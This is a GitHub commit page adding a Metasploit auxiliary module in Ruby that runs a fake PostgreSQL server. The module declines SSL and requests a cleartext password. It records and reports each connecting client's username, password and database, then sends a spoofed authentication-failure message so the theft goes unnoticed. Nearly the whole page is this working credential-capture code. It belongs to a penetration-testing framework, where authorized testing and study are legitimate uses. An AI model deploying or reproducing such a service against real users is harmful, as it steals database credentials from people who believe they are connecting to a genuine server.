Skip to content

Commit 09c4c81

Browse files
author
jvazquez-r7
committed
Merge branch 'PostgreSQL' of https://github.com/kholia/metasploit-framework into kholia-PostgreSQL
2 parents e39472f + a0422fe commit 09c4c81

File tree

1 file changed

+116
-0
lines changed

1 file changed

+116
-0
lines changed
Lines changed: 116 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,116 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::TcpServer
13+
include Msf::Auxiliary::Report
14+
15+
def initialize
16+
super(
17+
'Name' => 'Authentication Capture: PostgreSQL',
18+
'Version' => '$Revision$',
19+
'Description' => %q{
20+
This module provides a fake PostgreSQL service that is designed to
21+
capture clear-text authentication credentials.},
22+
'Author' => 'Dhiru Kholia <dhiru at openwall.com>',
23+
'License' => MSF_LICENSE,
24+
'Actions' => [ [ 'Capture' ] ],
25+
'PassiveActions' => [ 'Capture' ],
26+
'DefaultAction' => 'Capture'
27+
)
28+
29+
register_options(
30+
[
31+
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 5432 ]),
32+
], self.class)
33+
end
34+
35+
# This module is based on MySQL capture module by Patrik Karlsson.
36+
# Reference: http://www.postgresql.org/docs/9.2/static/protocol-message-formats.html
37+
38+
def setup
39+
super
40+
@state = {}
41+
end
42+
43+
def run
44+
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
45+
exploit()
46+
end
47+
48+
def on_client_connect(c)
49+
@state[c] = {
50+
:name => "#{c.peerhost}:#{c.peerport}",
51+
:ip => c.peerhost,
52+
:port => c.peerport,
53+
}
54+
@state[c]["status"] = :init
55+
end
56+
57+
def on_client_data(c)
58+
data = c.get_once
59+
return if not data
60+
length = data.slice(0, 4).unpack("N")[0]
61+
if length == 8 and @state[c]["status"] == :init
62+
# SSL request
63+
c.put 'N'
64+
@state[c]["status"] = :send_auth_type
65+
elsif @state[c]["status"] == :send_auth_type
66+
# Startup message
67+
length = data.slice!(0, 4).unpack("N")[0]
68+
protocol = data.slice!(0, 4).unpack("N")[0]
69+
sdata = [ 0x52, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x03 ].pack("CCCCCCCCC")
70+
c.put sdata
71+
data.slice!(0, 5) # skip over "user\x00"
72+
@state[c][:username] = data.slice!(0, data.index("\x00") + 1).unpack("Z*")[0]
73+
data.slice!(0, 9) # skip over "database\x00"
74+
@state[c][:database] = data.slice!(0, data.index("\x00") + 1).unpack("Z*")[0]
75+
@state[c]["status"] = :pwn
76+
elsif @state[c]["status"] == :pwn and data[0] == 'p'
77+
# Password message
78+
length = data.slice!(0, 5).unpack("N")[0]
79+
@state[c][:password] = data.slice!(0, data.index("\x00") + 1).unpack("Z*")[0]
80+
report_auth_info(
81+
:host => c.peerhost,
82+
:port => datastore['SRVPORT'],
83+
:sname => 'psql',
84+
:user => @state[c][:username],
85+
:pass => @state[c][:password],
86+
:type => "PostgreSQL credentials",
87+
:proof => @state[c][:database],
88+
:source_type => "captured",
89+
:active => true
90+
)
91+
print_status("PostgreSQL LOGIN #{@state[c][:name]} #{@state[c][:username]} / #{@state[c][:password]} / #{@state[c][:database]}")
92+
# send failure message
93+
sdata = [
94+
0x45, 97 - 8 + @state[c][:username].length, 0x53,
95+
0x46, 0x41, 0x54, 0x41, 0x4c, 0x00, 0x43, 0x32,
96+
0x38, 0x50, 0x30, 0x31, 0x00, 0x4d, 0x70, 0x61,
97+
0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x20, 0x61,
98+
0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63,
99+
0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x66, 0x61,
100+
0x69, 0x6c, 0x65, 0x64, 0x20, 0x66, 0x6f, 0x72,
101+
0x20, 0x75, 0x73, 0x65, 0x72, 0x20, 0x22
102+
].pack("CN" + "C" * 56) + @state[c][:username] +
103+
[ 0x22, 0x00, 0x46, 0x61, 0x75, 0x74, 0x68, 0x2e,
104+
0x63, 0x00, 0x4c, 0x33, 0x30, 0x32, 0x00,
105+
0x52, 0x61, 0x75, 0x74, 0x68, 0x5f, 0x66,
106+
0x61, 0x69, 0x6c, 0x65, 0x64, 0x00, 0x00 ].pack("C" * 29)
107+
c.put sdata
108+
c.close
109+
end
110+
111+
end
112+
113+
def on_client_close(c)
114+
@state.delete(c)
115+
end
116+
end

0 commit comments

Comments
 (0)